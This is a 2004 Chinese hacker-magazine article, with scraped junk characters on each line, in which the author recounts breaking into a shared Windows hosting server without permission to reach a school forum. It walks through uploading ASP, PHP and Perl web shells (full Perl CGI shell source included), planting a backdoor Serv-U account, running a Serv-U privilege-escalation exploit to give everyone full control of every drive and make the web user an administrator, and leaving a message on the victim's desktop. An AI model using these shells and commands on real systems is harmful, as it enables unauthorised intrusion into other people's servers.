剑走偏锋——灵巧的旁注攻击
+ N0 W* L. @4 r本文作者:angel
7 G8 o# o+ Q: D' F0 c' r文章性质:原创
8 d) o) G" n+ J+ e发布日期:2004-11-09 ! y. k9 }8 C" \# |) q
注意:; U# A' \, i/ [5 O; z4 h
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。+ u' N% d) R' L r6 E0 q; M
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。 c' p7 r) `( c4 U( K# R5 m
9 \; b* T# P. W! R 终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 : u6 w0 h7 v+ @, R! E
0 v7 w4 g. b% s: Y1 o5 A0 S7 k 一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 4 n1 |% Z' |; w9 t6 A% b
& i& k1 c) I- o" c( S5 d
不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 9 W3 M J7 q; c& J/ M1 B6 p8 ]! p
3 R3 q: i; `3 N
一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 2 Q7 ?3 B8 e' ^4 Y( m
9 x5 k3 j( Q4 K: z0 Q, I: ^4 ` 大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
+ c1 ?( m/ R5 H- ?3 C
2 M2 s6 d( g: t3 F 没有目的的跳转目录着…… ' p1 r. E0 ^# j( v! x, X
S, e, z5 i8 ?4 w( L 我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… ; F$ v1 H7 W# U: [" K* k
' @* ^7 g% }6 M$ p8 B 结束了吗?不,我试着 FTP 一下: ) n4 z Z8 v1 K# r
1 J/ w- h7 L( n' fMicrosoft Windows 2000 [Version 5.00.2195]
' } C0 x3 [) r8 r8 M(C) 版权所有 1985-2000 Microsoft Corp.
& u* V$ f& D5 a8 n5 G6 [; {6 }' P) }9 E1 I3 v6 i! o
C:\Documents and Settings\Administrator>ftp www.school.com
: [" W/ S( Y6 f; f9 s3 z. g" uConnected to www. school.com. 1 B* R4 W, T/ v; ?
220 Welcome to FTP Server... 8 S5 j4 U- m( H' Y1 T' j' a x
User (www.bjtrq.com:(none)): ?5 B k$ X0 `# h/ I
331 User name okay, need password.
0 [0 M2 l+ C4 j4 v- DPassword:
. }& Q4 A& }# m& Q8 v530 Not logged in. 0 M. a- [6 ~/ l0 N6 |' P2 r0 j& R
Login failed.
6 j6 y/ w J0 A* mftp> bye
2 Y; D. Q$ ^; K+ ?2 l: [4 X221 Goodbye!
" M2 W- R. G4 z* ^/ N7 q
) W1 A0 M4 @. k2 c9 S8 e
/ U( h8 P; u* L; I 从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
/ K1 ^7 f, X6 P' v3 s3 |8 k1 k/ V% K
原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 0 N8 I2 ^ t( S8 [
1 C. p1 w! g& @2 M" S& Q1 ~2 dApplication Data
0 s8 }+ W' N7 O3 UDocuments! g* s6 k. N* ~3 j
DRM; C# g4 [+ `, o" K
Favorites; t- g6 o/ H" T: }
Templates
^0 |; g: Q, c& f! c「开始」菜单
* M) d5 l7 S3 A0 B: M3 H& H' o6 V桌面- }/ X$ f2 t$ M9 z9 d* E& X
$ d' T1 J# ^& p* k
* u9 L) `& d6 S7 W+ ?3 k2 F1 h5 `4 t 马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
F$ O8 y9 R4 n, I) A
) F { J5 j$ oActiveState ActivePerl 5.8
/ P# p7 w( Z+ N! p4 JAdministrative Tools
1 X' r0 }% O3 ~" RDeerfield.com
% X! k. B$ }* R, [' A" j. h8 [* yDTemp( F5 }0 }$ A2 U- t; S- Q
IPSentry6 S! q V$ z& f; A: {. M3 u
MBM 5
9 ~5 g. o2 N* iNetMeter( Y t' r7 U q+ N+ `& c5 G
Network ICE! f1 p$ q" [. p3 z) \" ?% g8 @" i2 e
Persits Software AspEmail$ A1 X0 n1 |4 H
Persits Software AspJpeg5 g9 B: G$ n- J+ }6 t4 H2 Q
Serv-U FTP Server# {; x) _7 m; H7 \2 `% \
Symantec Client Security
0 f1 u& w3 q, |0 K4 J q) xWindows 优化大师
1 E& ]6 \7 Q, eWinRAR: }/ n3 j; |6 I3 ^
启动
8 F5 f/ M! r. X3 y6 ]管理工具5 K' d3 n1 I" G v- k
附件
' I4 n( t) C( b0 o" x8 ]8 d& R - N# I {$ u/ h, {6 m `! h h
5 Z X. c0 }5 }' a. M! ` 呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
1 p9 `$ H3 w% m* K2 }
% \. P$ y, J) _: s1 _6 s# J 先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
0 `/ i' z/ r2 R% m7 ~8 ]: w9 [
User281=angel|1|0
( L# C/ D! u0 ~' ^: m
- l, C1 p5 B% X8 |; `3 G$ @2 m
; @' u* `: c! P3 C K 然后加上
' ?$ V" q7 L5 t% ]: O2 V
_! H2 H7 Q# P[USER=angel|1]
& S+ Q5 |8 N5 T, q9 @0 w& h3 j: `Password=ng98F85379EA68DBF97BAADCA99B69B805
! J) j& `7 X) x8 VHomeDir=D:\websites
% M" o4 `) o- h* A; s3 t! ZRelPaths=19 f6 r# m* b$ S7 D! m: X
TimeOut=6006 }+ c* G0 \! H1 d! I. t q @
Maintenance=System
$ ~6 |( ]/ i# I/ _4 a: d( ]Access1=D:\websites|RWAMELCDP' Q# Y4 n& i1 c+ a, u
SKEYValues=
9 @% S: s9 K6 }
) S8 r# y% ]+ A' Q( b' Y, f; D0 R7 P1 V6 Y" \
添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… $ H- ^- T' x" p" A5 g7 |8 ~1 i
( T& ^4 L3 l X" Q" | 不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
1 z. U4 D: p' p) E% \! Z4 Z+ c3 x- r( B! u, i" g
不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 2 o. r: E" D: D; r% h/ f" C
- K4 ^, F1 j$ R' C4 e. H 还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: * Q. _3 N$ ~3 ^1 [* n) U' T- A
% u4 k+ E1 g: |2 V. b
#!/usr/bin/perl
; b# Q3 ^7 ~8 `binmode(STDOUT);, e5 A/ R7 y! O* K; Q/ F% f3 C
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);2 T0 m4 I7 H6 Q" o
$_ = $ENV{QUERY_STRING};
% d5 l7 P, V) d3 n# l2 As/%20/ /ig;7 A! @* w f d3 r& P1 j/ {9 ~2 n
s/%2f/\//ig;
: _9 B( V X7 w/ B. [' j5 W4 l* U$execthis = $_;
, t+ F$ H# J$ d* ^/ d% Psyswrite(STDOUT, "<HTML><PRE>\r\n", 13);
, c/ f4 y1 K& M: S+ _open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";8 C0 J9 K. w1 J3 D
system($execthis);
7 x! ?: Y* s4 ^/ Rsyswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);6 ?5 O' Q) P0 u7 k& e1 Y: r2 I
close(STDERR);
1 I: C! a1 N+ X" I8 D) H4 [close(STDOUT);9 w" X; |% R9 V6 s
exit;
) L' `: o9 U3 }# q/ R2 ~3 b 2 |' c! q, s3 T; ]! J) v0 I: [& U9 a. H
' B. F% Y# T" o4 `1 E7 O0 h8 i: q
我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
9 n/ N" R0 U: D \1 G4 @5 U% T& D
$ u; `, h* O' d& v9 j6 b' N 显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: ( R% H( r5 y* T; G8 z/ }) G
$ t5 {! k9 ?* b2 @" K
http://anyhost//cmd.pl?d:\user\bin\su.exe
. t1 I# i3 U8 z! [
/ t2 ~# v& J) y, A* Q; w7 k& d7 [: n1 c- e* }
返回: ! r- X9 Y1 F( i
- V* a: c1 ~% F+ T3 }! \
Serv-u >3.x Local Exploit by xiaolu
7 u* h0 y( \" C( Z% |( w# S1 B/ J. ]4 _
USAGE: serv-u.exe "command"
8 ^1 i' b' x& a3 c( S
7 D- D4 W L5 v3 ~# V( eExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" G- v* [; O k8 ?4 ?2 K" [& _
) I: |& f8 `* A# x4 f' F# p* u
6 W$ F; V5 q- i n/ ` 嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
5 _2 V# W" f5 N& U% O1 g' o9 V3 E6 o% y1 [
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" , X1 I2 _+ b/ G" T
$ W9 n3 _* F& b0 L
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
: `8 Z( V# T7 y2 J$ l: N" o( y! C) o* R4 l2 B
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" 3 L& s5 f+ ~1 r) E
* u% M- [5 Y7 Ahttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" ; J/ k- }% N3 a% _( b
0 `- c% C& r8 _" K2 s- s
; H- k- x: c) S5 v8 j7 h( m, Y. Z
返回下面的信息,就表示成功了!!!
) N+ s( P: ^3 z& d8 D9 g4 ^, a% d1 b9 x& Z+ k; b: P
Serv-u >3.x Local Exploit by xiaolu
* @0 s7 J4 |3 c0 I
: n8 ]7 r; r: \2 T. o4 M<220 Serv-U FTP Server v5.2 for WinSock ready...
6 ?# e9 p" J2 ]0 {9 I
# v' x q& x0 E: F' K+ C4 T1 x! U>USER LocalAdministrator $ Q3 ?( D9 H# }/ i
+ ^5 w6 `$ a2 W- E<331 User name okay, need password. 9 L! K7 l1 \1 C, r+ i+ j
( i4 X6 w& `( v" G z$ ~
******************************************************
2 v0 b2 A6 b' _* J8 w' B
) O. }9 w2 l3 ?0 B' t>PASS #l@$ak#.lk;0@P
+ L6 o" R8 @9 ]: f4 [8 O. [. Q0 S! L9 |7 G6 I, }# |3 \) @& J3 W4 Y
<230 User logged in, proceed.
! R: h) p( l; }! C7 q- Z7 R
( v7 A4 Q1 J' ]3 N$ l; @****************************************************** 9 `: l H% \% B9 I0 i
' w- p# e" E& m$ w5 i1 {>SITE MAINTENANCE 8 `7 H1 |. Z! [/ `. X! \
0 F' f; {9 F8 Z4 {2 P
******************************************************
4 H ?5 A5 f: }2 A& W# ^! ^& ?$ H# K' H+ i" X4 S! `
[+] Creating New Domain...
' j9 X3 M o$ O" _% { J: S0 K1 r" F ~4 [' K
<200-DomainID=2 - M3 v# N8 T# Y4 i$ G7 T7 T+ b
8 O' q* W& }& a! Y& C0 S
<220 Domain settings saved
; P8 |% |: n2 z, U* g- K
+ \8 D! h/ x' @' r% P; X b****************************************************** + y* a0 K( ` o ]: }
9 G8 B0 B! w. J2 J& x, }4 b8 I9 `( n5 Z[+] Domain xl:2 Created + N5 n2 ?: C" j4 D! {" g5 k
% M+ L* F6 F. J9 G+ o/ I8 e
[+] Creating Evil User
% D' r5 n% n8 J+ Y
9 q- U% K3 }5 w<200-User=xl 6 O6 y4 F. C O( l5 g8 }- w$ z
' q; e3 o, x6 O: a. a+ D! p" Z200 User settings saved " ?( z8 o2 J3 F' T: f
9 J( E5 e% q9 h; J8 M! W# n******************************************************
) ~/ W( h- c+ Z3 R5 \; `% l g1 b3 H5 U' G% @, g
[+] Now Exploiting...
& E6 M7 l% Z8 ]( t1 W2 V X* [% ?2 A
* {! H" S( m" @/ X) _* o) S: E>USER xl 1 _! y% b; @2 B9 r( k/ S
4 I, j# q1 B1 n0 o6 z9 A3 L& K+ A
<331 User name okay, need password. 7 z6 r0 C/ d, t
/ u! l& \7 f/ }( [
******************************************************
0 f# S* A, R" I0 E+ z% Y5 X8 a: k' i; B2 }. I4 T! a
>PASS 111111 # H7 p1 d, l4 D
- b7 x5 G: H" N, `1 g% V<230 User logged in, proceed. . ?& @4 I$ O& i% @
9 y# H3 q2 x4 C ?" _/ x1 J- }/ R****************************************************** . c0 Z5 b6 P# L* I# P
: T' B4 `) y: Q6 I! W
[+] Now Executing: cacls.exe c: /E /T /G everyone:F # g3 q8 g F- l
/ q6 i$ U2 Q& E$ v; ?% ]
<220 Domain deleted
! T% |: z" e! K' U, H0 W+ B+ u' e5 L% ^! {, p! K0 o, |
****************************************************** ( [6 ?" T$ r" J
9 w, k( G+ U5 J9 _
0 x% R+ X ]2 Q0 \ 每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
- ]2 y6 d: ~; c5 g/ S9 [
{2 l2 b. s Y. O+ Shttp://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" & P! M: p* q6 P7 a/ A/ A* f
# X' Y- } l/ U! [, u1 l
) w* M3 p# T) H( V
现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 w, ~$ C6 k3 p
1 q4 V W1 z- C$ N
说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。 C( Q' S0 [8 r5 p) _1 l$ s/ S
6 [, Q8 `5 ~, N. J8 z v! i1 Q8 o$ M$ o
; Q: b; C4 ^, R; q |